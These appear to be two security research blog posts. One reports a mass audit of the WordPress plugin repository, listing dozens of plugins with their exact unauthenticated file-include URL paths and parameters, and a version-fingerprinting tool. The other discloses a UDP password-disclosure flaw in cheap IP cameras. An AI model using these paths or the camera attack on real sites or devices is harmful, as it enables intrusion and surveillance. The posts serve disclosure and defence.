Today's post is kind of long, so I thought I should warn you in advance by adding an additional paragraph for you to read. I also wanted to provide download links for those who'd rather just read the code. It isn't the cleanest code in the world, so I apologize in advance. I discuss what all of these are for and how they work later on in the post, so if you're confused and/or curious, read on. Downloads:
- Copies of the WordPress theme and plugin repositories can be grabbed via torrent (Please note that the plugin repo has a few directories incomplete/missing; this can be fixed by running my checkout code)
- A new WordPress plugin fingerprinting tool, wpfinger (download). This tool can infer detailed version information on just about every plugin in the WordPress repository. This package also contains some useful libraries for checking out the repositories and scraping plugin rankings, as this is used in the fingerprinting tool.
After finding an arbitrary file upload vulnerability in 1 Flash Gallery, I became curious as to how many other WordPress plugins made basic security mistakes. The 1 Flash Gallery plugin issue, it seems, is that they CTRL-C-V'd code from a project called Uploadify, which has been known to be vulnerable for quite awhile.
After realizing this, I became curious as to how many plugins make easy-to-spot security mistakes, such as reusing vulnerable libraries or doing such things as include($_REQUEST['lulz']). However, my curiosity was initially somewhat hampered by the fact that downloading and auditing every WordPress plugin one at a time is not only a mind numbing task, but a herculean one as well. And, well, I'm incredibly lazy.
Getting the Repos
So what to do? Well, it turns out that WordPress is nice enough to have public repositories (http://plugins.svn.wordpress.org and http://themes.svn.wordpress.org) containing all plugins that have ever been submitted, as well as every theme. This, of course, was exciting: I could just check this out, whip out some grep-fu, and have my answers.
Alright, so maybe it isn't as simple as that. First, the plugin repo is huge: as is, it's taking up a good 80GB on one of my disks and contains approximately 12,000,000 files, thanks in no small part to subversion's insistence on creating ridiculous numbers of internal files. This isn't all that suprising, however, given that the repo contains ~23,000 plugins.
As I found out in my initial failed attempts to grab the code, checking this out all at once with subversion is, as far as I can tell, impossible. After about 15-20 minutes of downloading, the checkout would error out, and I'd have to wait for SVN to reverify everything it had already gotten. This got old quickly, so I came up with a hacked workaround: I wrote a quick script that simply checked out the individual repositories for every plugin and theme. Not very clean, but for my purposes, effective. A little over a day later, I had all the themes and plugins, and it was time for some fun.
A side note: for those of you who would like to play with either of these, I'd recommend grabbing the torrent, extracting it, and then running my checkout script in wpfinger in the directory above them. This will still get you the latest versions of all the plugins, but should take significantly less time and put less strain on everyone's servers.
Anyway, on to the vulnerabilities. During my scans I found remote unauthenticated code execution vulnerabilities in 36 plugins, varying in popularity from ~250 downloads to ~60,000. Finding them took essentially no effort or skill on my part, just patience.
The following eleven plugins were found entirely with grep and a little bit of manual inspection. Instead of running over every PHP file in the repo, I sped things up by only running over code in the trunk directories. This was under the assumption that that should be the latest code. Pretty much all of these were found analyzing results from the same grep:
Grep used: egrep -i '(include|require)(_once)?(\(|\s+)[^[;)]*\$_(REQUEST|GET|POST|COOKIE)'
Base is http://host/wp-content/plugins/PLUGIN_NAME/ unless explicitly stated.
Remote File Include - unauthenticated
- zingiri-web-shop = /fws/ajax/init.inc.php?wpabspath=RFI OR /fwkfor/ajax/init.inc.php?wpabspath=RFI
- mini-mail-dashboard-widget = wp-mini-mail.php?abspath=RFI (requires POSTing a file with ID wpmm-upload for this to work)
- mailz = /lists/config/config.php?wpabspath=RFI
- relocate-upload = relocate-upload.php?ru_folder=asdf&abspath=RFI
- disclosure-policy-plugin = /functions/action.php?delete=asdf&blogUrl=asdf&abspath=RFI
- wordpress-console = /common.php POST="root=RFI"
- livesig = /livesig-ajax-backend.php POST="wp-root=RFI"
- annonces = /includes/lib/photo/uploadPhoto.php?abspath=RFI
- theme-tuner = /ajax/savetag.php POST="tt-abspath=RFI"
- evarisk = /include/lib/actionsCorrectives/activite/uploadPhotoApres.php?abspath=RFI
- light-post = /wp-light-post.php?abspath=RFI
Local File Include - unauthenticated
- news-and-events = http://host/wordpress/?ktf=ne_LFIPATH%00
As an experiment, I also modified a nice static source analyzer called RIPS to take command line arguments (grab here, if interested) and print out some basic information on probable vulnerabilities, and then ran it over the plugin repo. Unfortunately, the noise was still pretty high (partly due to its lack of OO support), so I didn't find all too much beyond the greps. However, it did turn up a few RFIs:
- thecartpress = /checkout/CheckoutEditor.php?tcp_save_fields=true&tcp_class_name=asdf&tcp_class_path=RFI
- allwebmenus-wordpress-menu-plugin = actions.php POST="abspath=RFI"
- wpeasystats = export.php?homep=RFI
Finally, I searched for Uploadify usage and outdated timthumb.php libraries. This turned up another 24 vulnerable plugins:
- user-avatar - /user-avatar-pic.php -> Only vulnerable if register_globals is enabled
- onswipe - /framework/thumb/thumb.php
- islidex - /js/timthumb.php
- seo-image-galleries - /timthumb.php
- verve-meta-boxes - /tools/timthumb.php
- dd-simple-photo-gallery - /include/resize.php
- wp-marketplace - /libs/timthumb.php
- a-gallery - /timthumb.php
- auto-attachments - /thumb.php
- cac-featured-content - /timthumb.php
- category-grid-view-gallery - /includes/timthumb.php
- category-list-portfolio-page - /scripts/timthumb.php
- cms-pack - /timthumb.php
- dp-thumbnail - /timthumb/timthumb.php
- extend-wordpress - /helpers/timthumb/image.php
- kino-gallery - /timthumb.php
- lisl-last-image-slider - /timthumb.php
- mediarss-external-gallery - /timthumb.php
- really-easy-slider - /inc/thumb.php
- rekt-slideshow - /picsize.php
- rent-a-car - /libs/timthumb.php
- vk-gallery - /lib/timthumb.php
- gpress = /gpress-admin/fieldtypes/styles_editor/scripts/uploadify.php?fileext=php - exact same as 1 Flash Plugin vuln
Obviously, it's not very hard to find a decent number of 0days just by grepping around, which is mildly disconcerting. Honestly, I had so many hits for these searches that I probably missed a good deal of them. But what else, besides vulnerability discovery, can we do with all this data?
As an attacker, it's always nice to be able to figure out exactly what code is running on a given server. Of course, this isn't usually possible, as it requires a large body of information that just isn't there. However, it becomes much, much easier when you have access to the wealth of information contained in an SVN repo.
I feel that I should mention that ethicalhack3r's awesome tool WPScan does some of this, but last I checked will only detect if the top 2000 plugins are installed, and, as far as I know, won't give you a version. This is not to fault his work, though, at all; as I said, doing fine grained fingerprinting on every plugin would normally be difficult to impossible in most circumstances, and his tool does a ton of stuff that wpfinger doesn't.
So what does the repo give us that we were missing before? Well, we of course have a list of all the plugins, and it is then trivial to grab all of their download stats from wordpress.org to sort them in order of popularity. In addition, we have not only the current version of the plugin in the trunks, but we also (if SVN is being used properly) have tags for each of the major version changes. Simply by comparing these and finding changed files that we can check for remotely (added/removed/modified content files or added/removed php scripts), we can build a very effective fingerprint for each version of the plugin. Then, all we have to do is run a small number of checks once we find that a plugin is installed to obtain, at the very least, the major version of the plugin.
My current implementation is not pretty, but it seems to work quite well on the servers I tested with. My signatures are simply binary search trees encoded using Python tuples (don't judge me, it was quick to do it that way), which I regenerate whenever I update the SVN. The initial fingerprinting takes quite awhile, as it stupidly MD5s all of the relevant files in the repos. This was before I knew that filecmp/dircmp existed, so that's probably going to be rewritten soon enough.
Once the signatures are created, the scans are quite fast, and very effective. It normally only takes one to two requests to detect plugin presence, and only takes two or three more in most cases to detect the version. It also tries to deal with things like error pages that return 200 by using difflib to compare the error page to the returned page, although there's probably still some issues with that.
As I mentioned earlier, you can check the latest versions over on Google Code from now on. Here's a screenshot of a scan against one of my test servers:
Now that I've outlined more than enough ways to aid exploitation, let's talk briefly about what can be done to help prevent some of these attacks.
For the WordPress developers, the best defense would probably be to scan any commits for known vulnerabilities, and either warn or (preferably) block the developers from adding exploitable code to the repository. This can be done quite easily using pre-commit hooks for SVN, which allow for custom verification of commits to a repository. I'm planning on releasing an example script when I get time that will detect commits introducing the vulnerabilities I scanned for, but the more interesting problem is how to gather a larger, better collection of signatures. I've got a couple vague ideas for how to go about doing this, but would love suggestions on the subject.
As for what site admins can do, it's pretty clear: don't install plugins or themes unless you *absolutely* need to or you are willing to and have the expertise to audit what you're installing. Just because you have the latest version does not necessarily make you safe, and if you forget to update, it's quite easy for an attacker to detect and exploit. In addition to limiting your number of installed plugins, it might be possible to parse the signatures I provide and use a WAF to return tainted results when those URLs are requested too closely together. Haven't personally done it, but I'm sure it wouldn't be too extraordinarily difficult.
The methods presented here are not unique to WordPress; I'm fairly confident in saying that it could easily be applied to any open source CMS. I largely chose WordPress because I was already working with it when I stumbled into this, and they had a really nice repository to pull from. Please feel free to try it out other places, and let me know how it goes.
P.S.: I'd like to thank duststorm for lending me a server to seed the repos with. Much appreciated.
When I first started on this post, I intended to write about some fun things one can do with a $30 Rosewill IP camera (RXS-3211). While I still intend to do this in the near future, I decided instead to document an interesting password disclosure vulnerability I found that appears to affect at least 150 different IP-based surveillance cameras. This vulnerability allows a remote, unauthenticated attacker to read and/or change the administrator password on affected devices by sending a single UDP packet. This gives an attacker full control over the device, including access to the video streams. Relatedly, a passive attacker on the local network can retrieve the current password without a MITM attack if the device is currently being administrated.
Before I start, though, I would like to clarify: I have only tested this attack against the RXS-3211, as it is the only one I own / can afford. That said, I believe that it is a problem with the management protocol rather than just the device itself. It is possible that the problem is limited just to the RXS, but I have tested the Windows admin interfaces of other cameras with similar results. Doing this actually helped me improve the attack, so it seems likely that it will work elsewhere. Regardless, I would definitely love to hear from anyone who has a possibly affected device and get feedback / pcap dumps.
The list of affected devices, pulled using strings from the Rosewill admin executable, can be grabbed here. It includes devices from Edimax, Hawking, Rosewill, Intellinet, Nilox, Zonet, 2Direct, among others. Many of these appear to be rebrands, but I can't really know without devices to look at. This list does not include the large number of "UnKnown" entries that could also be affected.
Why I Can't Have Nice Things (I Break Them)
I bought the previously mentioned camera this week as a cheap way to monitor my apartment. Not content simply to set the thing up and leave it be, I first wanted to kick the metaphorical tires a bit. It turned out to be running an embedded version of Linux, and had TCP ports 80 (HTTP), 554 (RTSP), and 4321-2 (proprietary viewing protocol) open. At this point, I became curious to see if I could run my own code on the thing (which could make it quite useful), so I started poking around for vulnerabilities that might allow for that.
The web interface quite probably provides a number of ways to get a shell, but I decided first to look at how the administrative control application that was provided with it worked. Interestingly, as soon as I opened the application, it had detected my camera. I fired up Wireshark, and it turned out that it was communicating to the device via UDP broadcast messages to port 13364.
How Not To Design a Protocol
After some glancing over the traffic logs, it was pretty clear that this control protocol was terrible. I could go on for awhile about the design problems with it, but it would be rather off topic.
The real problem I uncovered was how the protocol handles authentication. It's a simple protocol, and consists of request packets (sent by the admin software) and reply packets (sent by the device). Depending on the request, the response is either sent broadcast or unicast. The packets all follow the same format before diverging:
6 bytes -> Concerned device (FF:FF:FF:FF:FF for all, device MAC for specific)
1 byte -> Request or response (0 or 1 respectively)
3 bytes -> Req/resp type (some unique ID that the software understands)
Rest -> Req/resp specific payload (optional)
Each type of request/response seems to have a set size, and if you send one of an unexpected size, the packet is ignored. From the large number of null bytes in the packets, it seems that there are extra fields that can be provided that I haven't explored yet. The one we care about, however, is obvious: the password field. Yes, the password is sent, (and in some cases, broadcast) in clear text following an unauthenticated request from anywhere. The admin interface reads this password, authenticates users client side, and, if it passes, will allow the user to send configuration requests. In addition to just being able to steal the device password remotely, we can also change the password and do it with a spoofed UDP packet, hiding the source of the attack.
I ran into a bit of a problem with the Rosewill-provided management interface, but it wasn't too difficult to overcome. It only supported broadcast queries and settings, which made it impossible to read the password remotely (i.e, outside the local network), and no response would be given if one set the password, making scanning much more difficult. However, I assumed they must have a way to get a unicast response instead, as some other camera manuals advise users to forward UDP port 13364 on their routers. Rather than trying the codes manually, I downloaded a few different management interfaces until I found one that supported remote cameras. I set it up to talk to mine, and voila, unicast commands were mine.
With these, it's trivial to read or change the password of the device. This can be exploited remotely and, as mentioned, with a spoofed source address for the set command (yay connectionless protocols). Having the password then gives full administrative control over the device, allowing an attacker to basically do anything, from simply watching the camera feeds to exploiting the device further. If you have one of these devices yourself, you can test with my proof-of-concept code: rxs-3211-changepw.py and rxs-3211-retrievepw.py (both require Scapy) . I also went ahead and made a Metasploit module that will scan a network for vulnerable hosts: rxs-32111-retrievepw.rb . If it's in the list but is not the RXS-3211, then the packets that need to be sent may be significantly different (probably just the changepw packets), but the underlying protocol problem should still be present. Wireshark/tcpdump are your friends; use them, and you should be able to figure it out.
EDIT: The Metasploit people were kind enough to improve my module and throw it into their SVN, so you can grab it there. Thanks, guys!
The fact that this vulnerability appears to be a design issue that requires both firmware and client software patches, combined with the large number of affected devices, makes it very difficult (if not impossible) to patch in any reasonable timeframe. This, together with the confusion over who actually maintains this software, led me to decide to release this before patching so users could protect themselves by blocking access to port 13364. I did contact Rosewill prior to this post, but have not yet received a reply.
If you have one of these devices, block all external access to UDP port 13364, regardless of what your user manual instructs you to do. If attackers might have local network access, there is not much you can do but cut it off from the rest of the network. Other cameras might be different, but mine did not have an option to disable UDP management.
I know cracking some of these embedded devices is a lot like beating a three year old at a foot race, but it was a good way to occupy a few hours. Hopefully I'll be back in a short while with more fun things to do with a cheap IP camera; until then, peace.